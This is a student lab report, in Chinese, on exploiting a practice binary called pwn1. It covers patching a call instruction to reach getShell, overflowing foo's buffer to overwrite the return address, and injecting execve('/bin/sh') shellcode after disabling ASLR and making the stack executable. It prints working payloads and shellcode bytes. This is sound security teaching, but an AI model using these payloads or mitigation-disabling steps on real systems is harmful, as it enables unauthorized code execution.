EXP 1 PC平台逆向破解 20221307
实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
实验内容
1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3. 注入一个自己制作的shellcode并运行这段shellcode。
实验内容的实际意义
1.运行原本不可访问的代码片段
2.强行修改程序执行流
3.以及注入运行任意代码。
基础知识预备
- NOP, JNE, JE, JMP, CMP汇编指令的机器码
- 熟悉Linux基本操作——反汇编,下载软件,运行脚本等
- 理解Bof的原理。
- 能看得懂汇编、机器指令、EIP、指令地址。
- 会使用gdb,vi。
- 指令参数现记现查
NOP, JNE, JE, JMP, CMP汇编指令的机器码
在 x86 架构下,这些指令的机器码如下:
- NOP:机器码是0x90。
- JNE(条件跳转指令,不等于时跳转):机器码通常是0x75 XX,其中XX是相对偏移量的补码字节。
- JE(条件跳转指令,等于时跳转):机器码通常是0x74 XX,其中XX是相对偏移量的补码字节。
- JMP(无条件跳转指令):短跳转机器码通常是0xEB XX,其中XX是相对偏移量的补码字节;近跳转机器码通常是0xE9 XX XX XX XX,其中后面四个字节是相对偏移量的补码。
- CMP(比较指令):其机器码格式很多,比如CMP EAX, EBX的机器码是0x39\xD8。
反汇编
- 在kali Linux中反汇编可执行文件时,可以用objdump工具,例如反汇编名为example的可执行文件
objdump -d example
- 也可以使用 radare2,安装后使用以下命令反汇编
r2 example
- 反汇编共享库,使用 objdump 可以反汇编共享库,例如
objdump -d /lib/x86_64-linux-gnu/libc.so.6
在本实验中,我们采用objdump进行反汇编pwn1文件
下载软件
- 使用apt-get下载软件包,以wireshark为例
sudo apt install wireshark
- 从网页下载文件,使用wget命令
wget [URL]
输入网页的URL,例如在本实验中,安装execstack时,我就用到了这个命令
理解Bof的原理
程序在运行时会在内存中开辟一些缓冲区来存储数据。当向一个缓冲区写入的数据超过了它的容量时,就会发生缓冲区溢出。如果精心构造输入数据,使得超出缓冲区范围的数据覆盖了相邻的内存区域,就有可能修改程序的控制流或者数据,从而达到执行恶意代码或者获取敏感信息等目的。
这只是最基本的定义,在本次实验中,我们广泛的应用了gdb来分析程序在发生缓冲区溢出时的内存状态和执行流程。可以在程序运行时设置断点,观察寄存器和内存的变化,帮助理解漏洞的触发过程。
当然,在后续的实验中国,也可能会用到metasploit等工具来进一步学习。
对于我们本次实验,可以理解在kali,Linux利用存在缓冲区溢出程序来获取shell权限等的步骤
- 使用反汇编工具分析目标程序,确定漏洞的位置和可能的攻击点。
- 编写一个利用脚本或者程序,构造特定的输入数据,使得程序在执行时发生缓冲区溢出,并将控制流转移到攻击者指定的位置(通常是一段恶意的 shellcode)。
- 使用工具如 python 生成攻击输入数据,并将其输入到目标程序中。
- 如果攻击成功,程序将执行攻击者的恶意代码,可能会获取系统的控制权或者执行其他恶意操作。
能看得懂汇编、机器指令、EIP、指令地址
- 汇编语言是一种低级编程语言,它使用助记符来表示机器指令,更接近人类可读的形式。例如,在 x86 架构中,“mov eax, ebx” 是一条汇编指令,用于将寄存器 ebx 的值复制到寄存器 eax。
- 机器指令是处理器能够直接执行的二进制代码。每一条机器指令都对应着特定的操作,如加法、减法、数据传输等。
- 在 x86 架构中,EIP(Instruction Pointer,指令指针)是一个特殊的寄存器,它指向当前正在执行的指令的地址。当处理器执行一条指令后,EIP 会自动更新为指向下一条指令的地址,从而使程序能够顺序执行。EIP 决定了程序的执行流程。通过修改 EIP 的值,可以改变程序的执行路径,例如跳转到特定的函数或代码片段。
- 指令地址是指存储机器指令的内存地址。每条机器指令都存储在内存中的特定地址处。当程序执行时,处理器根据 EIP 的值从相应的地址读取机器指令并执行。
- EIP 始终指向当前正在执行的指令的地址。当程序执行过程中,EIP 会根据指令的长度和执行顺序自动更新,指向不同的指令地址。通过控制 EIP 的值,可以使程序跳转到特定的指令地址,从而执行不同的代码路径。
实验过程
1.直接修改程序机器指令,改变程序执行流程
在网站中下载所需要用到的pwn1.zip文件,利用共享文件夹传输到kali中,并且尝试运行
这里是做完之后截图的,因为在这个步骤的时候忘记截图了
下载完成后,输入命令
cd /你的共享文件夹
unzip pwn1.zip
之后尝试运行一下,在我运行的过程中会提示这样的信息
zsh: 没有那个文件或目录: ./pwn20221307
如果出现这样的信息,那么大概率是因为缺少依赖库的原因,使用以下命令
file pwn20221307
来查看一下文件的基本信息,我的提示是这样的
pwn20221307: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fb55ff390641d9430666f4c373725241894ef5a5, not stripped
可以看到,这是一个32位的可执行文件,因此在我们安装的64位kali系统中无法运行,如何解决呢,输入以下命令
sudo apt-get install lib32z1 libc6-i386
之后输入命令
./pwn20221307
可以得到这样的截图
这里我们猜测,这个程序的作用应该是简单的接受并打印一个相同的字符串
反汇编pwn文件,并且查找关键信息,例如所执行的打印字符串函数,再看看是否包含其他可以利用的漏洞函数
输入命令进行反汇编
objdump -d |pwn20221307 more
这里根据上面我们的基础知识可以知道,这是详细的显示这个程序的信息,在众多信息中查找
这里我们找到了getshell,main,foo三个关键的函数,根据前面尝试运行程序得到的结果,不难猜想是在main函数中调用了foo函数,这里可以很清晰的看到
这行代码就是调用foo函数的信息,这里给出了foo函数的地址ffffffd7,我们这里的目标是想让此时的程序在main函数中调用foo时,转而运行getshell函数
要如何达到这个目的呢,我们需要理解汇编指令,call 8049491是如何得出的呢?80484ba +d7ffffff= 80484ba-0x29=8048491(“d7ffffff”是补码,表示-41,41=0x29)。那么按照这个逻辑,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。
修改可执行文件,执行getshell函数
利用vim文本编辑器,即基础知识中提到的内容
输入命令
vi pwn20221307
打开后是乱码
这里需要用到一个工具,xxd,但是我发现我并没有安装,这里输入
sudo apt install xxd
可能是vim版本导致的
安装好之后,在已经进入的vim界面中,按esc键输入:%!xxd
查找我们上面得到的地址e8d7ffff
将其修改为计算后的地址后输入命令:%!xxd -r,重新变为乱码,之后保存退出
之后我们重新反汇编一下这个文件,看看我们有没有达到想要的效果
再次看到,main函数中的call 804747d已经被修改了,执行getshell函数
这样就可以再次运行一下看看效果了
输入命令
./pwn20221307
之后出现美元符号,输入ls,可以看到当前我们的目录,证明成功执行getshell函数
2.通过构造输入参数,造成BOF攻击,改变程序执行流
重新解压,再次生成一个相同的文件
根据前面我们对gdb的表述,这里可以尝试gdb一下这个文件,看看输入有没有什么漏洞
输入命令
gdb pwn20221307-2
输入指令info r
查看eip的值
这里观察我标黑的地方,发现输入的1234(十六进制0x34333231)为被覆盖到堆栈上的返回地址
那只要把这四个字符替换为 getShell 的内存地址,输给pwn20222211-2,就会运行getShell。
通过之前的反汇编可知getshall的内存地址为0x0804847d
因此我们输入命令
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
生成一个16进制文件的内容
之后使用xxd工具查看
xxd input
发现没有问题
之后输入命令
(cat input;cat) | ./pwn20221307-1
输入ls看看是否执行了getshell对应代码
发现成功
3.注入Shellcode并执行
安装execstack
输入命令
wget http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb
sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb
等待成功安装
之后重复前面的步骤
继续重新生成一个这个文件
之后输入下面的命令
execstack -s pwn20221307-3 //设置堆栈可执行
execstack -q pwn20221307-3 //查询文件的堆栈是否可执行
sudo su
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space
这样成功了就是
构造使用的payload
Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr
使用以下命令进行构造shellcode的输入(x1x2x3x4是用来占位的,后续将替换为注入shellcode的地址,也就是foo函数中return address的位置,这个地址需要我们接下来去gdb分析寻找),并将其放入名为input_shellcode的文件中
Perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
之后输入命令
(cat input_shellcode; cat) | ./pwn20221307-3
打开一个新终端,注意之前的终端不要关闭,不要按enter
输入命令
ps -ef | grep pwn20221307-3
注意上面的一个是进程号
此后,再在这个新终端中使用gdb进行调试
输入
gdb pwn20221307-3
attach+进程号
disassemble foo//反编译
注意ret的地址
继续gdb,输入命令
break *x080484ae
c
info r esp
使用x/16x 0xffffcfdc命令查看该地址处的存放内容,可以看到,此处出现了我们之前注入的输入0x04030201,这说明找的就是这个地址。
因此,栈顶指针地址再加4字节,就是shellcode应该处于的地址
在原终端中输入
perl -e 'print "A" x 32;print "\x80\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
(cat input_shellcode; cat) | ./pwn20221307-3
可以看到最终成功
遇到问题及解决方案’
- 无法安装execstack 利用wget从网络上获取
- vim使用过程中没有xxd,利用apt命令下载安装
- 汇编语言理解不够深入
- 对于这类问题的总体分析能力有待加强
实践总结与体会
本次实验对于缓冲区溢出漏洞的利用分析有了更深入的理解,但是在汇编语言和机器语言方面的不足是一个障碍,还要加强学习,对于Linux系统的文件结构,命令基础有了更好的认识,收获很大。
此外,对于gdb的使用还不够熟练,需要进一步加强